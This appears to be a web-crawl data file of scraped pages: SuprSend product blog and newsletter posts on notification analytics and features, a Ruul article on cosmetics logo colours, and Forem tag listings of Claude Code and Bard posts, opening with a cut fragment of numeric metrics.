(+0.02%) 16178M (+0.02%) 35607128M (+0.00%) 47f744ac15 496824017e C 0c9919d7ea 60989M (-0.00%) 76767M (+0.00%) 89484M (-0.01%) 18474M (-0.02%) 68834M (+0.01%) 22673M (+0.01%) 52773M (-0.00%) 16174M (-0.01%) 35605407M (+0.00%) b4df4695f7 9f0d0bbaf4 acf82c1083 9007f1dd45 b595849e7c C fbde9240e9 60989M (+0.01%) 76765M (+0.01%) 89491M (-0.01%) 18477M (+0.04%) 68828M (+0.00%) 22670M (-0.00%) 52774M (-0.02%) 16176M (-0.01%) 35605182M (-0.00%) 1232599032 6b674e5605 21b3b37dbb 150c8b022c c208e42225 bbcab0bf57 5db5782da1 8fb1200c95 d7ee9f2141 C 8042c93a58 60985M (-0.01%) 76759M (+0.00%) 89497M (+0.02%) 18470M (-0.01%) 68827M (+0.00%) 22671M (-0.01%) 52785M (+0.02%) 16178M (+0.02%) 35605833M (+0.02%) C 501416a755 60988M (-0.01%) 76759M (-0.01%) 89479M (-0.01%) 18473M (-0.02%) 68827M (-0.00%) 22673M (+0.01%) 52776M (-0.01%) 16175M (+0.00%) 35600244M ( -0.13% ) C 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https://www.suprsend.com/post/suprsend-notification-analytics-omnichannel-real-time-and-built-to-act | SuprSend Notification Analytics: Omnichannel, Real-Time, and Built to Act Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Product SuprSend Notification Analytics: Omnichannel, Real-Time, and Built to Act Kavyapriya Sethu • September 5, 2025 TABLE OF CONTENTS “Chaos isn’t a pit. Chaos is a ladder.” That may work for Littlefinger, but for businesses, chaos is costly. Sending a notification is easy. Understanding what happens next — did it reach the user, did they engage, and what happened across other channels? — that’s the hard part. Most teams are flying blind after hitting "send." SuprSend changes that. SuprSend Analytics 2.0 is a faster, truly real-time analytics layer, built so you can actually do something with the data. The Problem With Today’s Notification Analytics For most companies in 2025, multi-channel notification analytics are still stuck in the past: Teams juggle 4–5 vendor dashboards to reconstruct a single user’s journey. Data is exported into spreadsheets just to spot engagement trends. Nobody knows if a drop in usage is caused by over-messaging, wrong content, or poor timing. Users don’t engage in silos, and neither should your analytics. Let’s say a user ignores your email. It might look like an engagement drop but in reality, they already tapped the same message via push. Without unified insight, you're over-optimizing your already working notifications. Here is where omnichannel notification analytics comes in. It offers a complete view of how your users interact with messages across every channel and every workflow. You get answers to questions like: Are users engaging with your onboarding messages? At what step in the workflow are they dropping? Which channels are most effective for transactional vs. marketing messages? Are you over-communicating with your users and driving unsubscribes? Which channel or message category are users unsubscribing from? And the results speak for themselves. These weren’t gut decisions. Rather, they were powered by real-time, data-driven iteration. But here’s the catch: without a centralized platform, this level of insight is nearly impossible. However, the reality is, building an analytics system in-house is far more complex than it seems. It requires constant data engineering effort, handling fragmented event sources, ensuring real-time accuracy, and maintaining dashboards that quickly become outdated. Teams often end up sinking time into infrastructure instead of extracting value, and still lack the flexibility to act on insights at scale. That’s what SuprSend delivers. We rebuilt our analytics layer not just for visibility, but for actionability. Introducing the Notification Analytics Dashboard Every Product Team Deserves Whether you’re debugging a failed push, optimizing onboarding flows, or analyzing trends across millions of users, SuprSend gives every team the clarity and speed to act. Move faster, fix sooner with real-time analytics Track delivery, failures, and engagement as they happen — not hours later. SuprSend helps you catch issues before users do—powered by columnar database for lightning-fast insights. Easily pinpoint which notification led to a dip in engagement, and know exactly what to fix. Channel-level performance See the full picture with unified, cross-campaign, cross-channel data Analyze performance across all channels (email, push, SMS, in-app) and across every workflow or template. Spot drop-offs, optimize underperforming flows, and reduce churn. Leverage granular column-level filters to drill-down to see the desired information. Workflow level performance breakdown Debug in seconds with centralized error tracking All API, workflow, and provider delivery errors in one place. You can filter by tenant, workflow, template, or channel to see the exact log and debug in seconds. Errors Tab Know when your users opt-out Finally, see exactly what channels or categories people are unsubscribing from. Analyze unsubscribe trends and adjust your strategy before churn sets in. Unsubscription trend and Opt-outs Prevent user fatigue with engagement insights Track how frequency affects engagement. Track avg notifications sent per user and get early signals of fatigue so you can pause, adapt, or back off before users unsubscribe. Keep your comms helpful — not noisy. Average notifications sent per user Get to the 'why' quickly with powerful filtering Multi-select filters to slice trends by workflow, tenant, template, channel, category, and time range to drill down to granular insights. How Different Teams Benefit from Centralized Analytics Developers Get instant feedback on changes — and the ability to fix fast. Detailed logs to pinpoint delivery or logic errors. Here, you get single view for all errors so you can see what’s failing in a single glance and the detailed logs to easily debug and fix the error. No need to setup code level logs to understand what’s failing before delivery. Product Managers Ensure key messages are received and engaged with. A/B test across templates and workflows to find the most effective message variants. See what’s not working and need to be optimized. Track over-messaging trends and unsubscriptions by category or channel to see where users feel spammed, what they are disliking and opting out from. Get a full picture of how your notifications flow and what’s failing you that you can get it fixed faster before your customer reports it. Analysts Access clean, centralized data for accurate reporting. Comprehensive, centralized analytics so they don’t need to jump to different dashboards for notification insights One-click downloads to speed up analysis Option to customize dashboards Direct connectors to BI tools and data warehouses for single place for all reporting Leadership Make strategic decisions with clear visibility. Get overall picture, number of notifications sent, channel cost vs their ROI Understand what’s driving engagement (or drop-offs) Allocate resources to high-impact workflows Prioritize based on real-time outcomes What’s next? We’re just getting started. Coming soon: Customizable dashboards: Make your native dashboard based on the metrics that you feel best suits your business case, so that you just see what matters to your team. Exports & scheduled reports: One-click downloads and scheduled email/Slack reports so you can run your internal analysis. Sync notifications data in your database: We’re expanding the S3 connector to include richer metrics—beyond message logs to also track API and Workflow Logs. Log in and explore the new Analytics — it’s already live in your dashboard. New to SuprSend? Book a demo or start for free . Share this blog on: Written by: Kavyapriya Sethu Product Marketing Manager, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form. | 2026-01-13T08:47:55 |
https://ruul.io/blog/why-do-cosmetics-brand-preferthese-logo-colors-2 | Why do cosmetics brands prefer these logo colors? - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work Why do cosmetics brands prefer these logo colors? Explore why leading cosmetics brands favour specific logo colours — from psychology and branding strategy to colour-trends in beauty packaging and the impact on consumer perceptions. Canan Başer 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Are you trying to adjust yourself in the ever-growing cosmetic industry as a most preferred beauty brand? Surely, you’ll be studying about different branding techniques and what kind of logo design will work for you. Have you noticed a certain pattern in the cosmetics brand color selections when it comes to their logos?There is a complex color psychology that these brands include only the selected one! Don’t pick a random color for your cosmetics brand as there is a strategic reason for each color that you must figure out for a successful cosmetics branding. Come, let us explain to you why all famous brands stick to a particular logo color in order to strengthen their cosmetics branding score. Most Used Cosmetics Brand Colors Let’s go basic to understand how each color works and what particular feature invites every successful cosmetics brand to use them. Here are a few interesting facts that would enhance your knowledge about their important characteristics as well as allow you to pick the perfect logo color for your brand. Black: The color black is often associated with authority, elegance and strength as well as it has some negative associations, too, with fear, mystery and evil. When it comes to cosmetics branding, the color black holds a significant value because it can offer your cosmetics brand the element of confidence, sophistication, and power. And you can portray your cosmetics brand with important social messages, too, just like women empowerment. Blue: Found in various natural elements such as sky and oceans, Blue has remained the top color choice of various big cosmetics brands such as Nivea, Dove and Johnson's. The key reason for selecting color blue for a cosmetics brand's logo design is its positive attributes such as honesty, loyalty, peace, and tranquility. In order to give your cosmetics brand the right elements, you can opt for this color and transform your consumer's perception about your brand. Pink: If your cosmetics brand is strictly feminine, you may opt for the color Pink that's often associated with positive adjectives such as cute, playful, and charming. Various successful brands prefer using color Pink to give their cosmetics brand a more feminine feel and make it relatable to their core consumers, too. You may consider the color blue to design your whole cosmetics branding plan and expect positive results. Red: If you're seeking to add the feeling of straightforwardness in your cosmetics brand, red should be your choice. The color red is often associated with passion, desire, or love as well as willpower, courage, and determination. So, you can incorporate red in your cosmetics brand's logo design and divert the public perception in your desired direction. White: Just like black, pink, and red, there's another favorite color of every cosmetics brand that focuses on women, color white. This color is often associated with innocence, purity, and goodness which you may incorporate in your cosmetics brand's logo design and make it relatable to those buyers who seek positive attributes in their preferred products. Cosmetics Branding Tips Since you know the key reasons for choosing these certain colors whenever it comes to cosmetics branding, let’s discuss some of the important tips. Yes, these tips would help you in crafting better cosmetics branding strategy and position yourself as the most preferred, premium, and trusted brand in the competition.● In order to craft the best cosmetics branding strategy, you first need to decide your brand’s true identity. This deals with deciding what kind of cosmetics brand you want to be, what is your mission and what particular vision do you have for your core consumers. Deciding on these points would give you a proper roadmap towards branding success from the very first moment you start working on your cosmetics brand.● Once you figure out the most basic cosmetics branding questions, start working on your corporate face's essential elements. Pick the right typography that goes with your brand's overall image and select the perfect color that relates with your consumer's psychology. Also, pick the right form for including in your brand's logo, too.● Once you have your cosmetics logo design figured out, focus on other branding elements for establishing your brand, faster. These macro elements include your logo, a business website (or webstore), your business card, and marketing collateral for promotional purposes. Make sure that your logo is visible enough on everything that you ever produce either for sale or for promotional activities for the sake of memorability.● And lastly, you need to align your marketing activities along with the key cosmetics branding rules. In order to win your consumer’s trust, try to create strategic messages that actually discuss their pain point whenever it comes to beauty products and keep their skin glowing. In short, your cosmetics branding plans should be aligned with the exact features that your consumers would seek in their preferred products. ABOUT THE AUTHOR Canan Başer Developing and implementing creative growth strategies. At Ruul, I focus on strengthening our brand and delivering real value to our global community through impactful content and marketing projects. More How Ruul Evolved for Independents Discover how Ruul evolved to empower independents—freelancers, solopreneurs, and businesses—by offering smarter payment, growth, and collaboration solutions. Read more 25 Financial Terms Every Freelancer and Employee Needs to Know The Foundation of financial literacy is knowing basic financial terms. This piece looks into 25 every freelancer and employee needs to know. Read more Tax Software for Freelancer: TurboTax vs QuickBooks Which is Better? TurboTax vs QuickBooks: Find out which tax software offers better features for freelancers. Read on to make an informed decision. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. 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https://forem.com/t/claudecode | Claudecode - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # claudecode Follow Hide Create Post Older #claudecode posts 1 2 3 4 5 6 7 8 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu I Built a Desktop App to Supercharge My TMUX + Claude Code Workflow joe-re joe-re joe-re Follow Jan 12 I Built a Desktop App to Supercharge My TMUX + Claude Code Workflow # claudecode # tauri # productivity # tmux 1 reaction Comments Add Comment 4 min read 🔓 Unlock "Infinite" Claude: The Open Source Hack for Bypassing Rate Limits Siddhesh Surve Siddhesh Surve Siddhesh Surve Follow Jan 13 🔓 Unlock "Infinite" Claude: The Open Source Hack for Bypassing Rate Limits # ai # claudecode # opensource # devops Comments Add Comment 3 min read The `/context` Command: X-Ray Vision for Your Tokens Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 12 The `/context` Command: X-Ray Vision for Your Tokens # tutorial # claudecode # productivity # beginners Comments Add Comment 4 min read Run `gh` Command in Claude Code on the Web Oikon Oikon Oikon Follow Jan 12 Run `gh` Command in Claude Code on the Web # claudecode # claude # ai # coding Comments Add Comment 4 min read Agile for Agents Mike Lady Mike Lady Mike Lady Follow Jan 11 Agile for Agents # ai # vibecoding # claudecode Comments Add Comment 13 min read Automating Performance Engineering with Claude Code and New Relic MCP Arshdeep Singh Arshdeep Singh Arshdeep Singh Follow Jan 11 Automating Performance Engineering with Claude Code and New Relic MCP # newrelic # mcp # drupal # claudecode 1 reaction Comments Add Comment 6 min read How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) Samarth Hathwar Samarth Hathwar Samarth Hathwar Follow Jan 12 How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) # productivity # ai # claudecode # testing Comments Add Comment 3 min read Why Claude Code Excels at Legacy System Modernization Juha Pellotsalo Juha Pellotsalo Juha Pellotsalo Follow Jan 11 Why Claude Code Excels at Legacy System Modernization # ai # claudecode # legacycode # softwaredevelopment Comments Add Comment 2 min read Vim Mode: Edit Prompts at the Speed of Thought Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 10 Vim Mode: Edit Prompts at the Speed of Thought # tutorial # claudecode # productivity # beginners Comments Add Comment 4 min read Complete Guide to Setting Up Claude Code Router with Qwen on macOS Hamza Khan Hamza Khan Hamza Khan Follow Jan 10 Complete Guide to Setting Up Claude Code Router with Qwen on macOS # claude # coding # ai # claudecode Comments Add Comment 3 min read How I Built an Orchestrator-Worker System for Claude Code Mohamed Aly Amin Mohamed Aly Amin Mohamed Aly Amin Follow Jan 10 How I Built an Orchestrator-Worker System for Claude Code # claudecode # ai # devtools # opensource Comments Add Comment 2 min read AI 코딩이 자꾸 내 아키텍처를 망가뜨린다면? (feat. CodeSyncer) @kiwibreaksme @kiwibreaksme @kiwibreaksme Follow Jan 10 AI 코딩이 자꾸 내 아키텍처를 망가뜨린다면? (feat. CodeSyncer) # ai # claudecode # devops # programming Comments Add Comment 1 min read Headless Mode: Unleash AI in Your CI/CD Pipeline Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 11 Headless Mode: Unleash AI in Your CI/CD Pipeline # tutorial # claudecode # productivity # beginners 1 reaction Comments Add Comment 4 min read Extended Thinking: How to Make Claude Actually Think Before It Answers Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 7 Extended Thinking: How to Make Claude Actually Think Before It Answers # tutorial # claudecode # productivity # beginners 2 reactions Comments Add Comment 5 min read 10 hours with Gas Town (out of a possible 48) Mike Lady Mike Lady Mike Lady Follow Jan 4 10 hours with Gas Town (out of a possible 48) # claudecode # ai # programming # devops Comments Add Comment 7 min read 🚀 I shipped 47 features in ONE WEEK with Claude and it was INSANE 🔥 Niclas Olofsson Niclas Olofsson Niclas Olofsson Follow Jan 5 🚀 I shipped 47 features in ONE WEEK with Claude and it was INSANE 🔥 # vibecoding # ai # claudecode # programming 2 reactions Comments Add Comment 3 min read Anthropic: From Pandemic-Era Safety Concerns to a $350B AI Company Prakash Pawar Prakash Pawar Prakash Pawar Follow Jan 4 Anthropic: From Pandemic-Era Safety Concerns to a $350B AI Company # ai # claudecode # anthtropic # llm Comments Add Comment 5 min read Scaling Development with Parallel AI Agents JaviMaligno JaviMaligno JaviMaligno Follow Jan 8 Scaling Development with Parallel AI Agents # ai # claudecode # automation # git Comments Add Comment 3 min read Universal Knowledge Base for AI Alfredo Perez Alfredo Perez Alfredo Perez Follow Jan 3 Universal Knowledge Base for AI # ai # angular # claudecode # cursoride Comments Add Comment 8 min read Supercharge Your AI Coding Workflow: A Complete Guide to Git Worktrees with Claude Code Bilal Haidar Bilal Haidar Bilal Haidar Follow Jan 8 Supercharge Your AI Coding Workflow: A Complete Guide to Git Worktrees with Claude Code # ai # claudecode # git # worktrees 1 reaction Comments Add Comment 13 min read Using the VSCode Claude Code Extension with Bedrock and Claude Sonnet 4.5 Matt Bacchi Matt Bacchi Matt Bacchi Follow for AWS Community Builders Jan 2 Using the VSCode Claude Code Extension with Bedrock and Claude Sonnet 4.5 # aws # claudecode # vscode # bedrock 2 reactions Comments Add Comment 5 min read Debugging Random Reboots with Claude Code: A PSU Power Limit Story Eugene Oleinik Eugene Oleinik Eugene Oleinik Follow Jan 1 Debugging Random Reboots with Claude Code: A PSU Power Limit Story # linux # hardware # debugging # claudecode Comments Add Comment 3 min read Fixing Claude Code's SIGINT Problem: How I Built MCP Session Manager pepk pepk pepk Follow Jan 1 Fixing Claude Code's SIGINT Problem: How I Built MCP Session Manager # claudecode # mcp # node # typescript Comments Add Comment 7 min read Vibe factory: insanity, scaled Niclas Olofsson Niclas Olofsson Niclas Olofsson Follow Jan 5 Vibe factory: insanity, scaled # vibecoding # ai # claudecode # programming 2 reactions Comments Add Comment 7 min read Reverse-engineering undocumented APIs with Claude Kalil Kalil Kalil Follow Dec 31 '25 Reverse-engineering undocumented APIs with Claude # ai # claudecode # api # python Comments Add Comment 2 min read loading... trending guides/resources How the Creator of Claude Code Actually Uses It The Ultimate Claude Code Tips Collection (Advent of Claude 2025) 24 Claude Code Tips: #claude_code_advent_calendar Cursor vs GitHub Copilot vs Claude Code The Reality of AI Coding in Production (and My Poor Man’s Setup) How Boris Cherny, Builder of Claude Code, Uses It — And Why That Should Change How You Think Abou... 🎰 Stop Gambling with Vibe Coding: Meet Quint Claude Code in Production: 40% Productivity Increase on a Large Project Supercharge Your AI Coding Workflow: A Complete Guide to Git Worktrees with Claude Code Stop Wasting Tokens: The `!` Prefix That Every Claude Code User Needs to Know I spent 400 hours working with AI agents and found the best one - here it is. Extended Thinking: How to Make Claude Actually Think Before It Answers Create Reliable Unit Tests with Claude Code Using the VSCode Claude Code Extension with Bedrock and Claude Sonnet 4.5 How I 10x'd My Development Speed with Claude Code Vim Mode: Edit Prompts at the Speed of Thought Building AI-Powered Projects: My Complete Claude Development Stack Anthropic: From Pandemic-Era Safety Concerns to a $350B AI Company Your Time Machine for Code: Double Esc to Rewind When Things Go Wrong Fixing Claude Code's Amnesia 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . 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https://www.suprsend.com/post/newsletter-november-2024 | Newsletter November 2024 Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Product Updates Newsletter November 2024 Anjali Arya • February 5, 2025 TABLE OF CONTENTS Just a quick glance of what’s happening in the notifications space WhatsApp is blocking marketing messages sent to a user to 15 brands a day. So, you might be seeing these error messages Code: 131049, Title: This message was not delivered to maintain healthy ecosystem engagement or 121 - WA_FrequencyCapping . Most of our clients see up to 15% marketing messages getting blocked in a day. With the new Apple Intelligence, Apple will be used to prioritize and summarize push notifications and emails in the Mail app. So, it would be a good practice to smartly handle notifications, batching and throttling notifications wherever possible, and giving user preferences to select the notifications they wish to receive. RCS could be the next big notification channel (with 1 billion MAU active on RCS right now), especially after Apple announced its support in iOS 18. RCS messaging is SMS 2.0, an IP-based communications technology protocol that provides enhanced or "rich" capabilities for messaging, including text, voice, video, and file transfer. Product Updates Objects: Send notification to non-user entities and their subscribers Objects are a powerful way to send notifications to non-user entities while managing relationships between users and these entities through subscriptions. Objects are ideal for scalable pub/sub systems and subscription-based alerting, making it effortless to: Send notifications to non-user entities, like account-level alerts to group emails, Slack channels, or shared Inbox feeds. Notify user groups, such as sending invoice updates to the finance team, without specifying individual recipients each time. Refer documentation Objects Audit Logs: Track user activities in your account You can use audit logs to keep track of unwanted or malicious actions in your account. With filter on team member (actor), action type or log timestamp, you can easily debug and get to the required log faster. Refer detailed changelog Audit Logs New Workflow Nodes Update User Profile Modify recipient or actor profile within workflow by passing user properties along with the trigger event or based on workflow condition. Quite powerful for event-based systems, where all updates can be done with just event triggers and no additional API calls. Common use cases include fetching data during the workflow to update the user profile or updating the profile when a user successfully completes a step. For instance, during onboarding, when a user completes a step, you can update their %completion in the profile and later use it in workflow condition or template content. Update User Profile Add user in / Remove user from List Update recipient or actor in list based on workflow condition or event. Used for dynamic segmentation of user based on events. For example, when someone registers for an event, you can send them a confirmation email and at the same time, add them to a list to send them reminder messages or announcements related to the event. Add User to List Update Object subscription Update recipient or actor in object subscription within a workflow step. Used to create dynamic objects based on a topic subscription. Can be used later to notify a set of users by just passing the events related to that topic, without having to pass individual users in the trigger. For example, when someone subscribes to a topic (like a tournament), you can automatically add them as a subscriber to the corresponding object. This ensures they receive all relevant notifications about topic-related activities without manual intervention. Update Object Subscription Invoke workflow Initiate another workflow from a running workflow. This is useful when the recipient list or data context changes between steps in a workflow. A common use case is escalation workflows— notify manager if team member doesn’t take action within a set timeframe. Invoke Workflow Introduced new APIs for asset deletion and better user management We’ve introduced APIs to delete all type of assets —subscribers, tenants, lists, and objects. The same functionality is also available on the dashboard. Subscriber has been renamed to user in the platform (with endpoint and payload of user update API changed) and added management APIs to fetch user profile and list users user merge API to merge duplicate user identities into a single distinct_id. This is helpful to consolidate user profiles, especially when users interact across different products or transition from anonymous to identified states. Subscriber Page Revamp We have revamped subscriber listing page to include relevant information upfront and also, added advanced filtering options on email, phone, active channels, channel count for an entity, and more. All filters are powered by auto-complete search and selectable options, making the search super accessible and easy to apply. Subscribers Listing Page Pre-built workflows for your complex usecases Given the complexity of workflow design, we’ve packed in some of the most requested, complex workflows in the sample library. Now, when you create a new workflow, you can pick from these pre-built samples right within the platform. We’ll continue adding more samples over time—if you have specific use cases, drop us a note here at product@suprsend.com. Let’s make notifications smarter, together. Sample Workflows Library Improved preference view in Send node execution log The UI for multi-channel and smart routing nodes has been revamped to clearly display how the final list of channels is determined. Now, you get clear visibility into how requested channels in the trigger, override channels, and user and tenant preferences are factored together to compute the final channel list. Send node execution log Datetime comparators in workflow conditions You can now compare datetime fields in workflow conditions . This lets you compare two timestamps where values can be: Variable – computed from workflow input data Static – a fixed timstamp (e.g. 2024-01-01T00:00:00Z ) Relative to current timestamp – E.g. - "now" or "now+30d" (current timestamp +/- interval). Current timestamp is calculated at node runtime and is timezone aware. Other Changes Added support for athena database connector for list update. Deprecated legacy androidpush method - If you are on legacy androidpush version, switch to v1 version now. Support for customizing header component in Inbox For the next set of features, you can refer to our roadmap, and for new updates, checkout our changelog and stay tuned to our slack community . Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. 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https://forem.com/t/bard | Bard - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close # bard Follow Hide Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Embark on a Technological Odyssey: Meet Generative AI, Your Future! Tabinda Zeeshan Tabinda Zeeshan Tabinda Zeeshan Follow for IT Services and Consulting Nov 27 '25 Embark on a Technological Odyssey: Meet Generative AI, Your Future! # artificial # bard # chatgpt # generative Comments Add Comment 3 min read Comparing ChatGPT, Bard, and Amazon Q: A Feedback Analysis Md. Mostafa Al Mahmud Md. Mostafa Al Mahmud Md. Mostafa Al Mahmud Follow for AWS Community Builders Feb 17 '24 Comparing ChatGPT, Bard, and Amazon Q: A Feedback Analysis # generativeai # chatgpt # bard # amazonq 15 reactions Comments Add Comment 3 min read Battle for AI Dominance: Can Gemini Surpass Chat GPT in the Future?” Apoorv Apoorv Apoorv Follow Jan 18 '24 Battle for AI Dominance: Can Gemini Surpass Chat GPT in the Future?” # ai # chatgpt # bard # machinelearning Comments Add Comment 5 min read Manual export from Bard, ChatGPT, MS Copilot Mika Feiler Mika Feiler Mika Feiler Follow Feb 3 '24 Manual export from Bard, ChatGPT, MS Copilot # chatgpt # bard # githubcopilot # poweruser 5 reactions Comments Add Comment 4 min read Guide to Effective Prompt Engineering for ChatGPT and LLM Responses Maham Codes Maham Codes Maham Codes Follow Jan 9 '24 Guide to Effective Prompt Engineering for ChatGPT and LLM Responses # promptengineering # chatgpt # bard # claude 8 reactions Comments Add Comment 5 min read Ultimate ChatGPT vs. Google Bard Showdown : Decoding the Battle of AI Titans NITSAN - TYPO3 Agency NITSAN - TYPO3 Agency NITSAN - TYPO3 Agency Follow Dec 12 '23 Ultimate ChatGPT vs. Google Bard Showdown : Decoding the Battle of AI Titans # ai # bard # chatgpt # technology Comments Add Comment 5 min read I've been waiting! Lady Darwe Lady Darwe Lady Darwe Follow Oct 4 '23 I've been waiting! # bard # google # ai # android Comments Add Comment 1 min read Bard vs. ChatGPT: The Future of SEO Optimization with AI Chatbots martin rojas martin rojas martin rojas Follow Oct 25 '23 Bard vs. ChatGPT: The Future of SEO Optimization with AI Chatbots # ai # seo # chatgpt # bard 5 reactions Comments 1 comment 3 min read ChatGPT vs Palm API (Bard) for developers Nikola Cosic Nikola Cosic Nikola Cosic Follow Sep 7 '23 ChatGPT vs Palm API (Bard) for developers # ai # api # chatgpt # bard 1 reaction Comments 2 comments 3 min read Using Python to Access Google Bard: A Simple Guide on Session Cookies Vengat Vengat Vengat Follow Sep 26 '23 Using Python to Access Google Bard: A Simple Guide on Session Cookies # programming # python # bard # googlebard Comments Add Comment 2 min read The New Bard and Crazy AI Images, Videos, and Translations notHanii notHanii notHanii Follow Sep 27 